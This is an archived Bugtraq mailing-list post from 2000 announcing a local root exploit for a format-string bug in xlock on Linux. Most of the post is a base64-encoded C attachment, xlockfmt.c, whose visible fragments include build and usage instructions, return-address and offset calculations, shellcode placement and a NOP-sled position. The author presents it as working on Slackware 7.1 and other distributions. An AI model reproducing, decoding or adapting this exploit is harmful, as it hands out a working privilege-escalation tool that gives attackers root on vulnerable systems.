[17294] in bugtraq
linux xlock exploit
daemon@ATHENA.MIT.EDU (Mr Ben)
Mon Oct 23 12:26:38 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_1bc5_308b_72dc"
Message-Id: <F247vO8nphGVMLzQIHl000011ee@hotmail.com>
Date: Sun, 22 Oct 2000 08:21:44 GMT
Reply-To: Mr Ben <bugtraq_mrben@HOTMAIL.COM>
From: Mr Ben <bugtraq_mrben@HOTMAIL.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
------=_NextPart_000_1bc5_308b_72dc
Content-Type: text/plain; format=flowed
Exploit is designed to give root in one try.
Works on Slackware 7.1 and should work on others.
Ben.
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
Share information about yourself, create your own public profile at
http://profiles.msn.com.
------=_NextPart_000_1bc5_308b_72dc
Content-Type: application/octet-stream; name="xlockfmt.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="xlockfmt.c"
LyoKCkV4cGxvaXQgZm9yIHhsb2NrIC1kIGZvcm1hdCBzdHJpbmcgYnVnIG9u
IGkzODYgTGludXguIApCeSBCZW4gV2lsbGlhbXMgMjEgT2N0IDIwMDAuCgpX
b3JrcyBvbiBTbGFja3dhcmUgNy4xLCBSZWRoYXQgNi4yIC0gZGlkIG5vdCBo
YXZlIHNldHVpZCB0aG91Z2gsICBNYW5kcmFrZSA3LjAuClJlZGhhdCA2LjEg
d29uJ3Qgd29yayBiZWNhdXNlIGZwcmludGYgc2VnZmF1bHRzIG9uIGxhcmdl
IHByZWNpc2lvbnMuCgpnY2MgeGxvY2tmbXQuYyAtbyB4bG9ja2ZtdAp1c2Fn
ZTogeGxvY2tmbXQgW29mZnNldF0KRGVmYXVsdCBvZmZzZXQgaXMgNDguCgpQ
cm9ncmFtIGNhbGN1YXRlcyBhbGwgdmFyaWFibGVzIHN1Y2ggYXMgdGFyZ2V0
IHJldHVybiBhZGRyZXNzLCB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dHJ0
b3VsKHAsIE5VTEwsIDE2KTsKICAgIGxvY2F0aW9uIC09IG9mZnNldDsKICAg
IHZhbHVlID0gbG9jYXRpb24gICAgICAgICAgICAgICAgLyogZnByaW50Zidz
IHJldCAqLwogICAgICAgICAgICArIDEyICAgICAgICAgICAgICAgICAgICAv
KiAzIHdvcmRzIHRvIGVycm9yJ3MgYnAgKi8KICAgICAgICAgICAgKyBicmVh
a2Zhc3QgKiA0ICAgICAgICAgLyogYnJlYWtmYXN0IHdvcmRzIHRvIGZtdCBz
dHIgKi8gCiAgICAgICAgICAgICsgRk1UU0laRSAgICAgICAgICAgICAgIC8q
IHRvIGVuZCBvZiBmbXQgc3RyICovCiAgICAgICAgICAgIC0gc2hlbGxjb2Rl
X3NpemUgICAgICAgIC8qIHRvIHN0YXJ0IG9mIHNoZWxsY29kZSAqLwogICAg
ICAgICAgICAtIDEwMDsgICAgICAgICAgICAgICAgICAvKiBwb3NpdGlvbiBp
biB0aGUgTk9QUyBmb3Igc2FmZSBtZWFzdXJlICovCgogICAgLyoKICAgICAq
IFdhbGsgZG93biB0aGUgb3V0cHV0IHN0cmluZyBsb29raW5nIGZvciAwMTAx
MDEwMSwKICAgICAqIGNvdW50aW5nIGhvdyB3aG9sZSBtYW55IHdvcmRzIGVh
dGVuIHRvIGdldCB0aGVyZS4KICAgICAqLwoKICAgIGZvciAoYnJlYWtmYXN0
ID0gMTsgOyBicmVha2Zhc3QrKykgewogICAgICAgIHAgPSBzdHJ0b2soTlVM
TCwgIlx4MjAiKTsKICAgICAgICBpZiAoIXApIGVycm9yKDEsIDAsICJyZWFj
aGVkIGVuZCBvZiBvdXRwdXQgc3RyaW5nIGFuZCBubyAwMTAxMDEwMSIpOwoj
aWYgREVCVUcKICAgICAgICBwcmludGYoImVhdCAlZCB0byByZWFjaCAlc1xu
IiwgYnJlYWtmYXN0LCBwKTsKI2VuZGlmCiAgICAgICAgaWYgKCFzdHJjbXAo
cCwgIjAxMDEwMTAxIikpIGJyZWFr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